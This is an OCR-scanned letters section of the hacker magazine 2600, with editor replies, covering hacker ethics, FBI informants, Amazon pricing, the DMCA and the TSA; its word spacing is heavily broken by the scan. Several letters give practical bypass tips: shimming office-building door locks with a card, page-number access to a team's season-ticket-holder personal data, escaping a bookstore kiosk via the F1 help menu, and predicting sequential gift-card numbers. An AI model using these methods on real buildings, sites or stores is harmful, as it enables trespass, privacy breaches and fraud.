it does the same for the unethical hackers . "  "Touche . "  
Perhaps you can come u p  with a better explanation?  
Tha n k  you .  

ansichart 
Quite simply, we should never hold back on knowL­

edge and education because of how some might misuse 
it. There is no quicker way to stifle the learning process. 
If more people are aware of a security hole, there is far 
less chance of it  going un repaired. While some evildo­
ers might get tipped off to possibLe vulnerabilities they 
can take advantage of, such peopLe will find out in 
other ways if they really try. And when that happens, 
you can bet they won 't be sharing the information. The 
rest of us deserve to kno w  if there are security issues 
with systems that we use or which contain personal in­
formation about us. We've found that keeping such 
things quiet usually winds up in less overall security 
and virtually no accountability. 

Here's another reader's take on a similar situation: 

Dear 2600: 
This is i n  response to zack's letter i n  2 3 : 1 .  I ta ke it  

you r  dad won 't let you get a 2600 subscri ption  because 
the magazi ne  contai ns  that evi l word "hacki ng? "  If 
that's the  case, then I would suggest that you fi rst ex­
p lain to you r  dad that this is not hacking li ke they talk 
about on  TV. A true hacker i s  nothi n g  more than what 
average people would call a "computer nerd,"  a n  i ntelli ­
gent and  curious  person who 's  i nterested i n  the i n ne r  
worki ngs  of computers a nd  tech no logy. Steve Wozniak ,  
cofounder  of Apple Computer. i s  a classic examp le of a 
real-life hacker. And rea l  hacki n g  is nothi ng  more than 
a n  urge to understand  how th ings  work  - usua lly fig u r­
i n g  out how things work so you can customize or add  
you r  own featu res to a device. Types of thi ngs  that  av­
erage peop le assume can 't be done  by anyone but the 
devi ce's man ufacturer. 

I wou ld suggest you a lso get him to read some of 
the a rticles in the magazi ne  so he  gets a sense of what 
" real" hacki ng  rea lly is. Beca use what's bad about hack­
ing a TV remote control to add featu res to it ( 22 :4. page 
11) .  o r  "Maki n g  Rover Fa rt" ( 2 3 : 1 .  page 13 )  by m odify­
i n g  the fi les fo r those a n noyi n g  search companions  i n  
Wi ndows? 

I h ave to admit, when I was 15  I picked u p  my fi rst 
2600 i ssue thi n ki n g  this was hacki n g  li ke what I saw on  
TV  and  i n  the movies. I t hought  it was  goi ng  to  be a ll 
about computer crime .  But after I sta rted readi n g  the 
magazine ,  I q uick ly rea lized that true hacki n g  is  noth­
i n g  li ke that .  It  was rea lly just about explori n g  and  cus­
tomizi n g  thi ngs .  And ,  i n  fact. rea l hackers g reatly 
despise people who do ma licious thi ngs .  

Disturbing Stuff 

Dear 2600: 

Jeff 

I am writi ng  anonymously to p rotect my fri end .  
Let's ca l l  h im  " Phi lly Cheesesteak" because I had  one  of  
those  for l unch  and  I' m not too  creative ri ght  now. I got 
to know Phi l  through the 2600 meetings .  We've gotten 
to be p retty good friends and  we go out to dinner j ust 
about every weekend .  Tonight he  revealed some shock­
ing (or  not, dependi ng  on you r  level of paranoia) i nfo r­
mation  to me :  He was hi red by the FBI to come to 2600 
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m eetings  to keep tabs on a ll of us .  
I felt a little betrayed at fi rst, but he  did make the 

good point that if he  was givi ng  them the i nformation  
at least he  had control over what  information  was bei ng  
given .  And i n  today's a ge  o f  warra ntless wi reta ps,  i s  
this rea lly a ll that su rprisi ng?  I suppose n ot.  I g uess i t  
j ust hit a little close to home .  He  sa id  very ominous ly, 
"They know who you a re.  I gave them your  name . "  Wow. 
That's ki nda  tough to swa llow. 

It struck me as particu la rly odd that the FBI would 
have any i nterest in us ,  since a ll we rea lly ever dis­
cussed was what we had done at work over the past 
month o r  what new techno logies were coming out. I a l­
ways thought of us as p retty well-respected i n dividua ls .  
Bori n g ,  if nothi ng  else. But sti ll, the FB I  i s  i nterested i n  
little o l' m e .  

I shou ld a d d ,  I have served for a lmost six years i n  
the  Army Nationa l  Guard ,  i n cludi ng  a dep loyment.  I 
g uess that's how they support the troops .  By spyi ng  on  
us .  By  maki ng  us feel li ke crim ina ls fo r pa rti cipati n g  i n  
a completely o p e n ,  constructive, positive g roup .  Well, 
since I a lready feel  li ke one ,  I might as well be one .  
Maybe i n stead of 2600 on Fri day night, I ' l l  go  smoke 
crack and  worsh ip  the Devi l. Thanks  FBI. You've shown 
m e  the lig ht. I am  a crim ina l  for discussi ng  my p ro­
g ra m ming  assi gnment from school  and my VPN issues 
from work. Nice use of my tax money, by the way. I see 
it goes fa r. 

So I j ust thought I'd let everyone know there may 
be a na rc i n  your  g roup .  B ut for better o r  worse, don 't 
q uit havi ng  meetings .  If you ' re a good person , which 
chances a re si n ce you ' re read ing  this magazi ne  you a re ,  
then maybe the FBI wi ll fina lly fig u re that out. Then 
they ca n free u p  some resou rces and  focus on  some­
thi ng  that is actua lly i llega l  li ke, oh let's say, the NSA's 
wi retapp ing of U.S. citizens.  

I s hou ld a lso mention  this was not a paid positi on .  
H e  said t ha t  if the FB I  c hose  to  conduct further investi­
gations ,  there would be a chance of pay. But fo r just 
bei ng  an i nfo rma nt. nothi ng .  Love of the game ,  I 
g uess. 

Stay strong ,  h ackers. 
O-nonymous 

It speaks volumes tha t  you're still willing to protect 
this person 's identity after he betrayed yours. And we 
a lso have to wonder what the feds have on this guy that 
he would be willing to work for them for nothing. 

This kind of thing really isn't unusual at  all, nor is it 
anything new. You should assume that there are people 
at the meetings who are actually taking notes for the 
government. That's why you should never do nor dis­
cuss illegal things there. And watch out for anyone who 
does as they are either leading you into a trap or walk­
ing themselves into one. 

When you do find an informant, don 't shut them 
out. The meetings aren 't about secrets. Let them (and 
everyone else) know tha t  they're wasting their time 
sneaking around spying on us. 

Finally, don 't allow yourself to be approached and 
recruited as no doubt your friend was. Some people 
think they're doing some sort of patriotic duty by "keep­
ing an eye out" for suspicious activity. But what they in­
variably wind up doing is reporting on everybody who 
attends and assuming that this information won 't be 
misused or abused. As recent news events have taught 

us, this is an assumption only fools can afford to make. 

Dear 2600: 
Long  tim e  reader  but have not subscribed yet. When 

p resented with a $25  amazon . com gift certificate on 
the same day I picked u p  the latest issue,  I decided i t  
was time  to subscribe .  Yi ppie . . .  unti l  I went  to ama­
zon . com and ,  gasp ,  found  out they were cha rg ing  
$12 .50 an  issue !  As I searched the website, the  o n ly 
contact i nfo rmation  I could fi nd was an a utomated ser­
vice that made amazon . com call you .  So I entered the 
number, c licked submit, and amazi ng ly my phone  ra ng  
ri ght  away. Th i s  i m mediately queued me  i n  to the typi­
cal tone/voice activated routi ng  system .  After a few 
min utes of ho ldi ng ,  I was actua lly connected to a hu ­
man  bei ng .  At  fi rst t h i s  seemed li ke a mi racle, a n d  
hopes were loo ki ng  u p  that I ' d  get a mazon .com to  cor­
rect thei r  p ri ci n g  error. H owever, Sherron had  different 
p lans  and was i m mediately rude from the get go. She  
stated that  Amazon  does  not set the p rice of magazi nes 
and  that the manufacturer does.  I tried pointi n g  out 
that the cover p rice is $5 . 50  and I wa nted to know why 
Amazon had a $7.00 markup on  each issue. I even 
poi nted out that you can c lea rly see the stamped $5 . 50  
p rice if you  en la rge the pictu re they have on  the ama­
zon . com website. Apparently th i s  i n su lted her  and  she 
tried endi n g  the ca l l  sayi ng  to "contact the manufac­
turer" and that "they set the price . "  I eventua lly got a 
manager  on the li ne  wi lli n g  to "tra nsfer me to the mag­
azine  department. "  Lo and  behold ,  I got some g uy who 
(surprise) had  no  i dea on  the p ri ci ng  structu re and 
could not te l l  me  why it was ma rked u p .  I hung up  dis­
mayed but wi ll conti nue  to fu rther i nvesti gate. 

In the meantime ,  I was thi n ki n g  how thei r  a uto­
mated "call back" system could be possib ly misused by 
someone wish ing  Amazon accrue la rge long  distance 
bi lls . Say, enteri ng  la rge amounts of random phone  
n u mbers for the i r  system to  ca l l  back  a nd  cost  them 
long  distance fees. H owever, the poor  qua lity of  the call 
I was on  suggests they a re usi ng  a VoIP system and no 
long distance wou ld app ly. This too wi ll need fu rther 
investigati o n .  

As for now, I ' l l  be boycotti ng  amazon .com a nd  hope 
others  do  the same.  

NoKaOi 
Of more concern regarding their call back feature is 

the ability to have it call anyone you tell it to over and 
over. Imagine how annoying that could be. 

We've been a ware of this subscription farce for 
quite some time. And there's even a degree of truth in 
what they say. We continue to have a corporate/institu­
tional rate of $50 as opposed to the individual rate of 
$20. This is for those entities who insist on invoices and 
all sorts of forms being filled out before they can cut us 
a check. It takes a lot of extra time and we often don 't 
see a check for a year and on many occasions we don 't 
ever get anything after sending them wha t  they or­
dered. We have to get affidavits swearing that our prod­
uct contains no asbestos (no kidding), sign all sorts of 
statements as a defense contractor (imagine tha t  -
we're a defense contractor!), and fill out forms tha t  tes­
tify on how much of our corporation is minority owned. 

One of those entities is apparently A mazon who 
somehow came to the conclusion that it would be a 
good idea to resell the magazine to individuals at that 
price. The question we face is what to do about this. 
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Anyone who goes to the Amazon page that sells our is­
sues will quickly see plenty of feedback alerting buyers 
to the better prices through us directly. Having our title 
be findable on Amazon in the first place is a good 
thing. But we certainly don 't want people to pay more 
than they should. If it's possible to work out a deal with 
A mazon where they sell it for the proper price, we will 
certainly pursue this. 

Dear 2600: 
I recently pu rchased the sp ri n g  issue ( 2 3 : 1 ) .  Whi le 

i n nocently readi n g  your magazi ne ,  I received what I 
would ca ll an assau lt. You r  magazi n e  cut me .  Norma lly I 
would n 't comp lai n ,  but as I feel  that I have the right  to 
make you listen to my opin ion ,  I m ust a lert you to the 
fact that your  pages can cause quite a n  i r ritati n g  cut .  I 
don 't feel  it is necessa ry to involve the authorities i n  
t h i s  matter. However, i n  order t o  spare i n nocent hands  
and  fi ngers a nd  possi b le litigati on ,  I do feel  it neces­
sa ry to a dvise you to put wa rn ing labels on  your  maga­
zi ne  suggesti n g  that possib le i nj u ry can be derived 
whi le read ing  your  magazi ne .  I hope  you h eed this ad­
vice and  I look  forwa rd to readi n g  you r  pub li cation  in  
the futu re i nj u ry-free and  du ly warned .  

webbles 
The only problem we had with the warning labels 

was that people were peeling them off and then at­
tempting to smoke them. The chemicals which were 
then released necessitated our issuing another warning 
for the labels. If your issue doesn 't have these warnings 
prominently displayed, put it down, walk a way, and 
alert the authorities. 

Inquiries 

Dear 2600: 
I was curious  as to what was i nvo lved i n  setti ng  up  

a loca l 2600 meeti ng ?  
Philip  

It's quite simple. First, determine that you 're i n  a n  
area where people exist who are actually interested in 
2600-related things. Then, find an easily accessible 
public space where hanging out won 't be a problem. It 
shouldn 't have any age restrictions or require any sort 
of fee or  purchase. (Don 't forget to also read the meet­
ing guidelines at  www.2600. com/meetings.) Next, start 
to publicize locally. Go to places where such people are 
likely to go such as libraries, bookstores, Internet 
cafes, etc. If our magazine is sold near you, feel free to 
stick info sheets inside to alert people of the meetings. 
Email meetings@2600. com and keep us updated as to 
how the meetings are going. A lert us of any web pages 
devoted to this project. When your meeting has become 
established, it will usually be listed in our magazine 
and on our web page. 

Dear 2600: 
I 'm sorry if I 'm ta ki n g  your  time  but I would li ke to 

know if a nybody of a ny age can attend  you r  meetings .  I 
would li ke to attend  a meeti n g  but I 'm un su re if I can 
beca use I 'm under  18 .  

Dany 
We forgive you for taking our time. Our meetings 

are open to any humanoid with a pulse. 

Dear 2600: 
H i .  Si n ce I 'm not a subscri ber (gasp) ,  I don 't  know if 

this has  ever been covered before. Has a nyone dis­
cussed how to hack the " Fastpass" mach ines that Dis­
neyWorld uses? They're machines which give you a 
"times lot" to come back to a ride  so you don 't h ave to 
wait in the li ne .  Norma lly they wi ll o n ly let you have 
one  per  ad mission  pass per every two hou rs or so but 
(evi l cackle) there a re ways to get them to spit out as  
many as you want  so you  can ride  rides on  you r  sched­
u le and n ot Disney's . 

Anyway, if this has been covered before, I apo logize 
for the time  wastage .  If not, let me know and I ' ll spend 
a b it  of time  on  a b rief a rticle for you .  Cheers. 

Zenmaster 
Thwarting anything Disney-related is traditionally a 

popular topic in these pages. We look forward to hear­
ing more. 

Dear 2600: 
In thei r  paper criti ci zi n g  the DMCA,  the CATO Insti ­

tute does a fai rly good job  of exp lai n i ng  why that leg­
is lative measure i s  not j ust who lly u nnecessa ry but i s  i n  
fact ha rmfu l  t o  t h e  American people ( a n d  sets a sta r­
tli n g  p recedent for other nations  as we have seen i n  
Australi a ,  a m o n g  others ) .  They even specifically men­
tion  2600 and  the case  that was  lobbied agai nst it i n  re­
ga rd to the DeCSS code, but what they sorely lack is the 
fact that other groups ,  namely the New York Times, p ro­
vided mo re info rmation  on the subject than 2600.com 
li n ked to and  wasn 't ever ta lked to by the M PAA. I be­
lieve this would have been a perfect examp le of not just 
how the system (under the DMCA) could be exp loited , 
but how it is exp loited currently with groups usi ng  their 
power to decide  who can sha re what information  and 
with whom .  

For yea rs you  and  othe r  li ke-minded (mean ing  
open-minded and  forwa rd-thi n ki ng )  pub li cations  have 
time  a nd  ti me  again expressed horrifying  accounts of 
what is happeni ng  under  the DMCA and  legis lation  li ke 
it. What wi ll it ta ke for the pub li c  at large to fi na lly get 
the message? What rights need be taken away before 
people stop sta ri ng  at the sand  and  look  a round?  Per­
haps  the most important questi on ,  however, remain s :  
what  of those  who now, even after the unscrupu lous 
abuse of ou r  legal  system ,  conti n ue  to fight  for th is  
type of law? 

Poetics 
In our society, true change only comes when the 

middle class is inconvenienced. As the DMCA continues 
to affect people in their daily lives - such as through the 
restrictions proposed for digital television - you will 
most definitely see a backlash. The question is whether 
or not that will be too little too late. We think it's im­
perative that people be alerted to the threat immedi­
ately so that there actually is time to fix these things 
before they become the default. A lot of progress has 
been made since 2000. For one thing, people now know 
what the DMCA is. And even though we lost our case, we 
think a lot of eyes were opened as a result. That's never 
a bad thing. 

Dear 2600: 
G reeti n gs 2600! I 'm a 12-yea r-old aspiri n g  phone  

p h reak who was  j ust wonderi n g  if you  had any recom­
mendations  for getti ng  i nto the p h reaki n g  scene. 
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Do you beli eve that p h reaki n g  is dyi ng ?  
Shelly L. 

It depends on how you define phreaking. Certainly 
the landscape has changed over the years. But as long 
as there is telecommunications, there will always be 
some method of phreaking. We define this as exploring 
the various networks, finding hidden features and ca­
pabilities, and hooking up with all sorts of people 
around the globe who have similar interests. So it's re­
ally quite impossible for phreaking to die if these things 
exist, as they do today in abundance. If. however, 
you're talking about a specific type of phreaking (like 
in-band signaling) or misusing the word to mean simply 
making free phone calls (which isn't much of a chal­
lenge to do legitimately these days), you certainly will 
experience a more short-lived enthusiasm. 

Dear 2600: 
I would li ke to use the a rti cle in 2 3 : 1  entitled 

"Hacker Perspective" by The Chesh i re Cata lyst in an es­
say for my com112  c lass .  I would li ke to know if there is 
any objection  to this. The a rticle wi ll he lp support my 
thesis :  Hackers a re not crim ina ls ,  rather they a re en­
thusiasts of tech no logy that lea rn how thi ngs  work i n  
o rder t o  imp rove them.  

Uriah C. 
By default. this kind of thing is perfectly OK with us. 

Security Holes 

Dear 2600: 
I was recently d rivi ng  down the street in my home­

town of Vi rgi nia Beach when I sta rted thi n ki n g  about 
the ti mes when my friends a nd  I were overseas in the 
mi lita ry. Bei ng  p h otographers we would go to the tops 
of s kyscrapers (pub li c  o r  not) and  take photos of the 
city and  the sur round ing  a rea . As I was d rivi n g  I saw 
the large office bu i ldi n g  i n  the center of the city and 
decided to give it a s hot (for  old ti me's sake) . As you 
enter the bui ldi ng  there i s  a la rge lobby with fou r  ele­
vators. The elevators a re roped off i n  a man ner  that re­
q ui res you to pass by the security desk a nd  show you r  
badge befo re goi ng  i n .  I o f  course d i d  not have a badge.  
But not wanti n g  to give up ,  I asked the gua rd if there 
was a restroom nea rby so as to not look  suspicious  go­
ing i nto a bu i ldi ng  and  leavi ng  right  away. He  poi nted 
to a door on  the side of the lobby and told me  it was 
th rough  there and to the left. I wa lked through the 
door and i nto a white service ha llway. I decided to ex­
p lo re this and forget about the restroom for now. I no­
ticed there were no  security cameras o r  any peop le for 
that matter. Wa lki ng  a round  I found  another elevator 
ma rked "service elevator. " This ti me no  g ua rds .  After 
push ing  the button  and waiti n g  a few min utes I fi na lly 
got on .  The buttons  went from G (ground )  to 2 5 .  Natu­
rally I pushed 25. N oth i ng .  I sta rted goi ng  down the 
list. 24, 23 ,  2 2 .  Each time  noth ing  happened unti l fi­
na lly I pushed 15 and the elevator sta rted goi n g  up .  
Appa rently you  need a magnetic key card to  go h igher, 
or so they thought. When I a r rived at the 15th floor, I 
took a look  a round .  J ust some empty offi ces . I then 
headed straight  fo r the stai rs. Before I shut  the door  
behi nd  me  I noticed yet another magnetic key card 
reader. In other words the door was going to lock be-

hind me. I thought  q uick ly and pu lled a busi n ess card 

out of my wallet that I took from somewhere and p ut it 
between the door  lock  and door fram e  so that it would 

close but not lock .  I headed up the stairs to the 25th 

floor. There was a ladder  with a hatch to the roof and a 

door leadi n g  to the 25th floor  offices (o r  what I 

thought would be offices ) .  I pu lled on the door. 

Locked. I n oticed that the gap  between the door  a nd  

frame  wa s  wider  on  t h i s  door. I went i nto my wa llet 

again and  p u lled out an o ld Sears card that I don 't use 

a nymore.  I stuck it i n  the gap ,  pushed it down and be­
hind the lock,  and opened the door  to a dark  roo m .  I 

have an LED  fla sh light  on my key chai n so I turned it 

o n .  This was one  giant pyramid shaped room with a col­

umn  in the midd le (where the elevator a nd  stai rs go  
down ) .  The  pyramid i s  actua lly the top  of the bu i ld ing  

and  has a large antenna  mast sticki n g  out the top .  Now 

here i s  the  good pa rt. In the room was a cha i r, a few 

pictu res in frames on the floor, a nd  a fi li n g  cabi net. I 

wa lked over to the fi li n g  cabi net and  opened it up .  
Bluepri nts for the enti re bui ldi ng ,  as  well a s  bluepri nts 

for other bui ld ings  I assume were bu i lt by the same 

company. These showed the enti re layout of the bui ld­

ing as well  a s  the p ipi n g  layout and  electrica l  wi ri n g  

layouts. I put t h em  a ll back, wa lked down the stairs to 

the 15th floor, got on  the elevator, a n d  left. No  one  

ever saw me  o r  sa id  a wo rd to  me other than the secu­

rity gua rd when I wa lked i n  the front door. There were 

no security cameras other than those i n  the lobby. I 
can't beli eve that it was that easy. This company, a n d  

city, shou ld be g lad  t h a t  I a m  not a terrorist b u t  merely 

a very curious  person .  Otherwise rea l damage could 

have been done  a nd  lives could have been lost. Let this 
be a n  examp le to others. Insecurity i s  no  joke !  By the 

way, Vi rgi nia Beach i s  la rgely a mi lita ry city, not to 

mention  this bu i ldi n g  i s  across the street from a major  

ma ll. A l l  of this ma kes it even more of a ta rget for ter­

rori sm .  

justin 

You showed true hacker spirit in your quest to get 

around the system and explore. But you then fell for 

the propaganda that we're constantly being fed - hook, 

line, and sinker. 

It used to not be a big deal at  all to do the kinds of 

things you did (with the possible exception of breaking 

into an office). Getting to the roof of a building or even 

getting inside a building (not someone's home, obvi­

ously) used to just be a challenge. But now it's consid­

ered an attack on national security. Had you been 

caught. you probably would have been treated as a ter­

rorist, at least initially. 

Terrorism has always existed and will always be a 

risk of life. This doesn 't mean you should ignore the 

danger signs but it also means you shouldn 't live your 

life as if there 's a terrorist around every corner. You got 

into a building and were able to look at blueprints. 

Sure, a terrorist would have been delighted to do the 

same. But that terrorist would also have been thrilled 

to blow something else up in a crowd of people. It's not 

that hard to do. 
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We can ve'Y quickly close off eve'Y element of our 
society simply because of the risk of what would happen 
if a terrorist were to gain access. And before we know it, 
our society is unrecognizable. If the goal of terrorism is 
to screw up our society, then the mission is accom­
plished. 

We hope such urban exploration as you engaged in 
will go on in all sorts of different ways. A world where 
we no longer see the fun of getting onto the top of a 
building or exploring a tunnel system or seeing where a 
particular path goes is not the kind of world we should 
be building. 

(And if anyone happens to be reading this at  HOPE 
Number Six, this is not an invitation to t'Y and get to 
the roof of the hotel. There are cameras, the hotel peo­
ple will kick you out for the entire weekend, and we 
won 't be able to help you at all. But by all means, t'Y 
another building.) 

Dear 2600: 
I was looki n g  a round  the Trenton Thunder  baseball 

tea m website (www.trentonth under.com )  back i n  late 
February and  happened upon a rather long  list of 
names ,  add resses, telephone  and fax n umbers, emai l  
add resses, and seat locations ,  apparently entitled "The 
Trenton Th under  Season Ticket Ho lder di rectory." Yep, 
you guessed it. Had a fu rther loo k  a round  and  found  a 
login page for this materi a l. On the di rectory page i s  
the  text "This a rea of the website i s  o n ly for you ,  the 
season ticket ho lder. On this page, you wi ll fi nd  the 
names,  add resses, phone n umbers, a n d  emai l  addresses 
of other season ticket ho lders.  Feel free to use this li st 
as a reference and to get to know you r  fellow season 
ticket ho lders . "  The worst part of it i s  that i n  the  page 
naming scheme,  a lot of the pages go up  numerically, 
so just by accessi ng  a featu re a rticle by one  of the team 
announcers and  chang ing the page n u m ber from 12 to 
1 3 ,  you can get access to this li st, which ,  based on the 
login p rompt on  the site (go to Informati on-Season 
Ticket Ho lder  Oi rectory) is  supposed to be secure !  Why 
bother tryi ng  to hack the usernames and  passwords 
when al l  you need to do is  access the page di rectly? And 
the log in  page even has the gal l  to proclai m "This i s  a 
secured page ! "  

I don 't thi n k  I've ever seen s u c h  b latant disregard 
for persona l  privacy by such a sma ll entity, even if they 
a re the New York Yan kees AA affi liate. 

So why am  I sendi ng  this to 2600? Why not j ust i n ­
form the site owners, have it fixed ,  a n d  make everyone  
happy? Well, I tried .  I tried agai n .  I've sent  five sepa­
rate emai ls si nce the day I found  it and have waited un ­
ti l now ,  the fi rst of May, for a response,  wh i ch  hasn 't 
come.  Emai ls were sent to thei r  office, the  g uy who i s  
supposed to hand le the information  on  the di rectory, 
a nd  the webmaster. So, since they obvious ly don 't ca re 
about privacy a nd  confidenti a lity, I sent it to the peo­
ple I know do. The lucky numbers a re 13, 14, 15, 16,  17, 
18 ,  19 ,  3 5 ,  36 ,  a nd  37. Other interesti n g  thi ngs  a re to 
be fou n d  on other pages, but at least when I saw it, no  
more la rge-sca le privacy breaches. J ust shoddy security 
and  mo re open access to documents which were rea lly 
not i ntended for the average fa n .  

Mark B .  

The borders o f  stupidity apparently need to be 
remapped yet again. 

Dear 2600: 
It seems every time  I turn a round  I am encounter­

i n g  people a nd  entities who thi n k  they ca n j ust ri p away 
my rig hts. The last letter I wrote was about a telecom 
(Verizon)  who constructed cameras  in our workplace 
and was s niffi n g  our traffic to see who we were speak­
i n g  with and  what we were speaki n g  about. This ti me  I 
a m  writi n g  about ou r  i nfamous  TsA. These a re the peo­
p le there to "ensure our safety. " I fi nd  this terri b ly ha rd 
to beli eve. 

I was on  busi ness last week and flew out of D FW i n  
Texas h eadi ng  for Ba ltimo re, M D .  T h e  n ightmare began 
when I wa lked up to the self serve kiosk to get my 
ticket. I kept enteri n g  my i n fo and it wou ld show my 
itinerary but wouldn 't give me  my ticket. Instead it 
would spit out some piece of paper that stated "p lease 
see the ticket counter. " So I did to fi nd  out my name ,  
wh ich  i s  probably the second  most common  name  i n  the 
world ,  was on  the "no  fly list" which I beli eve is  a n  ex­
cuse to ha rass people .  The ticketi ng  agents thought  it 
was h i la rious  which made me even mo re ang ry. After 
they put my d river's li cense i nfo into the "queue" they 
let me p roceed to security. This is where it got even 
worse. I stepped up  to the metal  detector after loadi ng  
two laptops, a cell p hone ,  a nd  a PSP  i nto sepa rate b ins .  
Well, i n  one  of the b ins  was my money cli p  with a one  
i nch  na i l  file. Needless to say  they took  i t ,  but let the 
s ix  foot woman  behi nd  me  walk  right  th rough  with a 
five foot wa lki ng  stick .  H ow does that make sense? I 
was fu rious .  

I t  gets even better. On  the flight  back  my colleague  
a nd  I were i n  the airport a ll n i ght  tryi n g  to get  a n  ea rly 
fli ght  out a nd  we managed to get a 6 am out of BWI. We 
got o u r  tickets together at the counter a nd  were so 
ti red that somehow we wound  up  with each other 's 
ti cket. We went to secu rity and the TsA agent checked 
my ticket and of cou rse checked my ID  and then let me 
go a h ead .  A few seconds  later I heard the other security 
agent with my colleague  say "you r  name  on the ID and  
ticket do not match . "  So at best TsA does  thei r  job 50 
percent of the time .  Let me  remind  you I 'm a white ma le 
i n  my ea rly 30s .  

What does this mean to everyday citizens? Well, a 
few thi ngs .  One ,  that TsA is not very in tune with thei r  
j o b s  and  probably not qua lified t o  r u n  a cash  register 
let a lo ne  ensure the safety of the masses and two ,  that 
if you rea lly try it wouldn 't be ha rd to end up  on  a ter­
rorist watch list livi ng  in suburbia .  I hope nobody else 
has  to endure the i n sa nity I go  through every time  I fly 
ou r  "fri end ly skies . "  

Sting3r, (EH 

The Retail World 

Dear 2600: 
H ere's a quick a nd  easy way to get on the web 

th rough  you r  Chapters booksto re !  I got the i nspi ration  
to write th i s  by  usi n g  th i s  trick one  day  and  getti ng  
caught  by  a n  employee. Instead of b lam ing  me,  h e  said 
it was the coolest thi ng  he  had  ever seen and asked me 
to teach h im the tech nique .  

In every Chapters bookstore, there a re at least 
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th ree computers located at ra ndom p laces in the store. 
These computers a re to a llow the customers to search 
fo r books they're loo ki n g  for. This book searchi n g  sys­

tem uses Internet Exp lorer, specia lly set u p  to stay 

locked on thei r  website (where thei r  book searchi ng  
system i s  located ) .  The  way the Internet Explorer i s  set 

up, there i s  no Too lba r to a llow you to j ump  to different 
websites. I quickly found  a way to get rid of this restric­
tio n .  Simp ly p ress Fl on the keyboard.  It wi ll give you a 

pop-up .  It shou ld be the Internet Explorer he lp menu .  

O n  top  of  the menu  there shou ld be a n  icon (a g lobe 
contai n i ng  a question  mark) saying  "Web Help . "  C li ck  

on  it. In the text a rea of this he lp menu  at the bottom 
of the long  text you shou ld have a li ne  h i gh li g hted in 

blue sayi n g  "Support On li ne . "  J ust c lick on  it and you ' ll 
get a pop-up of a fresh new Internet Explorer wi ndow 
with the toolbar, etc . So now you wi ll be ab le to surf 

the net, etc. Enjoy!  
HelacklOl 

Dear 2600: 
A q uick explanation  of Barnes and  Nob le and  how 

"sh ri n k" happens :  Magazi nes a re received from the dis­
tri butor en masse and i n  theory a re supposed to be 

checked against i nvoices to make sure the company is­
n 't bei n g  sho rted. In practice, this is  ra rely done with 

a ny g reat attenti on  to detail : 23  magazi nes, 24 maga­

zi nes ,  it 's a ll the  same, right? They' re then d isplayed 

where they can either be shop lifted,  damaged ( "shop­
worn" o r  "shelfwo rn" ) ,  fai l to sel l  a nd  be returned to 
the distri b utor for credit, o r  be sold .  

B&N uses the ISSN for checkout scanned from the 

barcode. A pai nfu lly la rge percentage of magazi nes 
don 't scan p roperly and have to be keyed in manua lly. 
Wh i le the company is very good about trai n i ng  book­
sellers on  how to fig u re out the correct n umber  to key 

i n ,  there a re any n u m ber of i diots employed , not to 
m ention  magazi nes where it i sn 't read i ly possi b le to i n ­
fer the ISSN from the n u mbers under  the barcode (this 

i s  m ostly true with U . K. magazi nes which have barcode 
stickers app lied by the i m porter) . In any event, at one 

time  there was a generi c  "magazine"  key that could be 
p ressed and the cover p ri ce keyed i n  for situations  li ke 
this .  That went away years ago though ,  a n d  has been 
rep laced i n  some stores at least with an  "X" code - "X2" 

in one store I know of - which serves a n  identica l p u r­

pose.  In loca les i n  which newspapers a re taxed (I a m  
led t o  understand ,  not worki ng  i n  one ) ,  t h e  newspaper 

button o r  code i s  usua lly used i n stead .  
In  any event, there a re any  num ber of ways a maga­

zi ne  ca n be pu rchased legiti mately without it  register­

i n g  as bei ng  "sold" a n d  magazi nes (or  thei r  covers, at 
a ny rate) retu rned to the distri butor (unso ld or dam­
aged) m inus  copies "sold" equals " sh ri n k. "  

Magazines a re a ridiculously h igh-shri n k  item fo r 
bookstores; the store I work in has  somethi ng  li ke eight  
percent s h ri n k ,  though  I 'm not su re if that's by volume  
o r  do lla r value. In any event, the actua l  loss to shop lift­

i n g  is p robab ly mo re li ke ha lf that, with the rest bei n g  

attri butab le t o  h uman  error and  craptasti c  POS soft­
ware. 

Inci denta lly, B&N gift cards a re numbered in a log­

ical  sequentia l  pattern that i nc rements by eight. If you 

buy (say) a $ 100 gift card and it's n u mbered 2 222228 ,  

ca rds  2222212 ,  2222220 ,  2222236 ,  a n d  2222244 wi ll 

a ll a lso be $ 100 gift cards. I'm sure you ca n fig u re out 

why you can 't use gift cards on li ne  and why you ' re not 

supposed to be ab le to use them over the phone .  

Nemo de Monet 

Dear 2600: 

I was d rivi n g  th rough  B loomi ngton ,  M innesota a nd  

swung by  the CompUSA. I wa s  looki n g  a round  aski n g  

about the latest cards they had  on sale. I wa s  a lso 

thi n ki ng  about getti ng  a part time  job there to pay for 

extras at a discount. 

Wa lki ng  u p  to the customer  service counter I asked 

for an  app licati on .  Easy enough .  They handed it  to me 

a long  with a pen . I p roceeded to leave with the app li ca­

tion  and  then a ll hel l  b roke loose.  

I was told that app li cations  a re internal documents 

and  ca nnot leave the store. Odd ,  a re not i nternal 

documents li mited to those who a re i nterna l  - li ke 

emp loyees? 

The clerk was i n sistent and began to get quite voca l 

about it. I tried explai n i ng  I did not have ti me  to do it 

there and my resume  was at home. Which it was - I did 

not p la n  on  app lyi n g  for a nythi ng .  If I had  I wou ld have 

definitely b rought  it . 

Thi n ki ng  this  was some screwed up  emp loyee who 

got some i n formation  wrong ,  which happens ,  I asked 

for a manager, p referably the store manager. The man­

ager on  d uty, a sho rt b londe  i n  her  late 20s,  ca me  up .  

She got  rea l mad rea l fast when  I started exp lai n ing  t he  

situati on .  She demanded I not leave with the emp loy­

ment app li cati on .  At this point my i re got up a nd  I said ,  

" I  am  leavin g  with this app li cati on .  I f  y o u  want t o  a rrest 

me, go for it." "If you ' re goi n g  to carry an attitude li ke 

that, good luck getti ng  employed by us or getting  a 

job , "  she  retorted .  Bizarre .  

A friend  of m ine  has  a few kids worki n g  at the store 

I went to a nd  sta rted la ugh ing  when I to ld him what 

happened .  When we both fi nished loo ki n g  i nto it, it 

turned out it was an  i nternal document and yes, they 

have some odd  po li cy on this .  It appa rently is to see if 

you can read and  write. (Thi rty yea rs computer experi­

ence and enough  co llege to fi n ish my masters . . .  I thi n k  

I can read . )  

So i f  I was  given a i nterna l  app li cati on ,  wh i c h  by 

defi nition  shou ld not be given to anyone externa l, then 

am  I an  employee by defau lt upon bei ng  handed a n  ap­

p li cation?  If so,  I q uit. I do  not want to work some­

where so messed up .  

Kevin 

Obviously what you experienced was a test to see if 

you had wha t  it took to work in a retail environment 

where nothing makes sense and idiots are in control 

Congratulations for failing. 
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Network Ad 
Why We B 
by kaigeX 

I was bothe red by some  of t he  a rg u ments 
